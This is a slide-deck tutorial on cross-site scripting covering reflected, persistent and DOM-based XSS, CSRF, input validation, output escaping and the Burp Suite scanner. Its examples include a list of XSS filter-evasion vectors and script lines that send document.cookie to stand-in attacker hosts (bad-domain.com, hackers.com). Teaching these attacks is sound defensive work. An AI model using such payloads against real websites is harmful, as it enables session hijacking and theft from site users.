31
Cross Site Scripting (XSS) by Amit Tyagi

Cross Site Scripting ( XSS)

Embed Size (px)

Citation preview

Page 1: Cross Site Scripting ( XSS)

Cross Site Scripting (XSS)

by Amit Tyagi

Page 2: Cross Site Scripting ( XSS)

What is XSS

Cross Site ScriptingXSS is a vulnerability which when present in websites or web applications, allows malicious users (Hackers) to insert their client side code (normally JavaScript) in those web pages. When this malicious code along with the original webpage gets displayed in the web client (browsers like IE, Mozilla etc), allows Hackers to gain greater access of that page.

Page 3: Cross Site Scripting ( XSS)

XSS (-ve) effects

stealing other user’s cookies stealing their private

information performing actions on behalf of

other users redirecting to other websitesShowing ads in hidden IFRAMES

and pop-ups       

Page 4: Cross Site Scripting ( XSS)

How XSS works

Web server gets data from web client (POST, GET, COOKIES etc) with the request. So a malicious User can include client side code snippets (JavaScript) into the data. For example :

 Amit<script>alert (‘this site has been hacked’) ;</script>

Page 5: Cross Site Scripting ( XSS)

XSS input

Note: This image has been created using Firebug and this XSS hole is not present in google.com

Page 6: Cross Site Scripting ( XSS)

XSS contd. Let’s assume Web server performs no

validation or filtration on this data. Now web server either saves this data + XSS

code to some persistent storage (like database) or print this data back in the HTML.

When this XSS code, comes from server along with HTML into the web client (Browser) and executes as server’s own code, it gets access whole HTML document, page URL, cookies etc.

Page 7: Cross Site Scripting ( XSS)

XSS

Server

Hacker’s Browser

http request with XSS JavaScript

Hacker’s Browser

http response with XSS JavaScript

Page 8: Cross Site Scripting ( XSS)

XSS output

Note: This image has been created using Firebug and this XSS hole is not present in google.com

Page 9: Cross Site Scripting ( XSS)

XSS vectors <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>

<IMG SRC=javascript:alert('XSS')> <IMG SRC=javascript:alert(&quot;XSS&quot;)> <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

Page 10: Cross Site Scripting ( XSS)

Type of XSS attacks

Non-persistent Persistent DOM Based

Page 11: Cross Site Scripting ( XSS)

Non-persistent

When XSS code only gets displayed in the next page to the same user and not gets saved into persistent storage like database. This type of attack is less vulnerable, because Hacker can see only their own cookies and can make modifications in their own current opened pages. The risk with these kinds of XSS holes is that it opens way for Cross Site Request Forgery CSRF. CSRF allows a hacker to place some links

Example : same as given previously to explain XSS 

Page 12: Cross Site Scripting ( XSS)

CSRFCross-site request forgery

is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. This can be done by placing some hidden links in some bad website.

for example :<img src="http://bank.example/withdraw?account=bob<script>document.location=‘http://bad-domain.com/store_data?cookie=‘ + document.cookie;</script>

Page 13: Cross Site Scripting ( XSS)

CSRF

Bank Server

http response with CSRF Link

Bad Server 1

Normal User’s Browser

<img src="http://bank.example/withdraw?account=bob<script>document.location=‘http://bad-domain.com/store_data?cookie=‘ + document.cookie;</script>

Normal User’s Browser

Bad Server 2

http response with XSS

http request with cookies

http request with XSS

Page 14: Cross Site Scripting ( XSS)

Persistent XSSIn persistent type of XSS attack, XSS code gets saved into persistent storage like database with other data and then it is visible to other users also. One example of this kind of attacks is possible blog websites, where hacker can add their XSS code along with the comment text and if no validation or filtering is present on the server, XSS code can successfully saved into the database. After this if anyone (other users) open the page into their browsers, XSS code can execute and can perform a variety of harmful actions. This type of attack is more vulnerable, because Hacker can steal cookies and can make modifications in the page. The risk with these kinds of attacks is any third party hacker can use this vulnerability to perform some actions on behalf of other users. abc<script>window.location = "http://www.hackers.com?yid=" + document.cookie;</script>

Page 15: Cross Site Scripting ( XSS)

Persistent XSS – Step 1

Server

Hacker’s Browser

http request with XSS JavaScript

Server saves XSS code to DB

DBStep 1

Page 16: Cross Site Scripting ( XSS)

Persistent XSS – Step 2

Server

Hacker Browser

http request with XSS JavaScript

Normal User Browser

http response with XSS JavaScript

DBStep 2Server saves XSS code to DB

Page 17: Cross Site Scripting ( XSS)

Persistent XSS

Note: This image has been created using Firebug and this XSS hole is not present in blogger.com

Page 18: Cross Site Scripting ( XSS)

DOM based attackDOM Based XSS (or type-0 XSS) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. That is, the page itself (the HTTP response that is) does not change, but the client side code contained in the page executes differently due to the malicious modifications that have occurred in the DOM environment.

 This is in contrast to other XSS attacks (stored or reflected), wherein the attack payload is placed in the response page (due to a server side flaw). Example…var pos = document.URL.indexOf("name=")+5;document.write(document.URL.substring(pos,document.URL.length));…

 http://www.vulnerable.site/welcome.html?name=Joe

Page 19: Cross Site Scripting ( XSS)

Prevention

Never trust the user input data

No matter where it’s coming from ( GET, POST, COOKIE etc.

Page 20: Cross Site Scripting ( XSS)

Validation at client side

By performing client side (JavaScript) validation, before submitting the data to server, helps only in usability aspect of the website. It can’t provide any actual security, because user can disable the JavaScript. Many JavaScript libraries and frameworks are available for this. For example in DOJO framework

 <label for="firstName">First Name: </label><input type="text" id="firstName" name="firstName"

dojoType="dijit.form.ValidationTextBox" required="true" propercase="true" promptMessage="Enter first name." invalidMessage="First name is required." trim="true”/><br>

Page 21: Cross Site Scripting ( XSS)

Validation at server

By sanitizing the input data, we can prevent the malicious code to enter in the system. Checking the proper data types helps in cleaning the data. First of all we should restrict numeric data for numeric fields and only alphanumeric characters for text fields

 White lists – Allow <strong>, <em> and <br> only – Does help, but not 100%

 Blacklists – Block <script> and other attributes such as onload, onclick, onmouseover etc.

Page 22: Cross Site Scripting ( XSS)

Escaping output at server

Problem characters can include < > " ‘ \ &.These characters can be replaced with HTML character entities. For example, < can be replaced with &lt;.

 5 Rules for escaping output #1 - HTML Escape before inserting into element content #2 - Attribute Escape before inserting into attributes #3 - JavaScript Escape before inserting into JavaScript

data values #4 - CSS Escape before inserting into style property values #5 - URL Escape before inserting into URL attributes

Page 23: Cross Site Scripting ( XSS)

Escaping text before updating DOM at client side

To avoid DOM based XSS attacks.

Page 24: Cross Site Scripting ( XSS)

Web vulnerability scanner Applications

These applications provide the developer to test their web applications for various types of vulnerabilities. These applications allow navigating through the web sites or web applications and performing various types of attacks (manual or automated). Both free and commercial applications are available (http://sectools.org/web-scanners.html )

Page 25: Cross Site Scripting ( XSS)

Burp suite Burp suite allows an attacker to combine

manual and automated techniques to enumerate, analyze, attack and exploit web applications. The various burp tools work together effectively to share information and allow findings identified within one tool to form the basis of an attack using another.

Download: http://portswigger.net/suite/download.html

Documentation: http://portswigger.net/suite/help.html

Page 26: Cross Site Scripting ( XSS)

Burp Tools Proxy - an intercepting HTTP/S proxy server which operates as a man-in-the-middle between the

end browser and the target web application, allowing you to intercept, inspect and modify the raw traffic passing in both directions.

Spider - an intelligent application-aware web spider which allows complete enumeration of an application's content and functionality.

Scanner [Pro version only] - an advanced tool for performing automated discovery of security vulnerabilities in web applications.

Intruder - a highly configurable tool for automating customized attacks against web applications, such as enumerating identifiers, harvesting useful data, and fuzzing for common vulnerabilities.

Repeater - a tool for manually manipulating and re-issuing individual HTTP requests, and analyzing the application's responses.

Sequencer - a tool for analyzing the quality of randomness in an application's session tokens or other important data items which are intended to be unpredictable.

Decoder - a tool for performing manual or intelligent decoding and encoding of application data.

Comparer - a utility for performing a visual "diff" between any two items of data, normally pairs of related requests and responses.

Page 27: Cross Site Scripting ( XSS)

Burp Suite

Page 28: Cross Site Scripting ( XSS)

How to use Run the application and set the browser proxy

to localhost: 8080 Open any site and Burp will create a sitemap

tree in the left panel, as per the site traversal. Select any URL from the tree and add it to

intruder. Add different type of payloads for attack, i.e. 1<script >alert(1);</script> Go to Intruder and click start attack. Burp suite will show the results in a new

window.

Page 29: Cross Site Scripting ( XSS)

Questions

Page 30: Cross Site Scripting ( XSS)

Refrences

http://en.wikipedia.org http://ha.ckers.org/xss.html http://portswigger.net www

Page 31: Cross Site Scripting ( XSS)

Thank you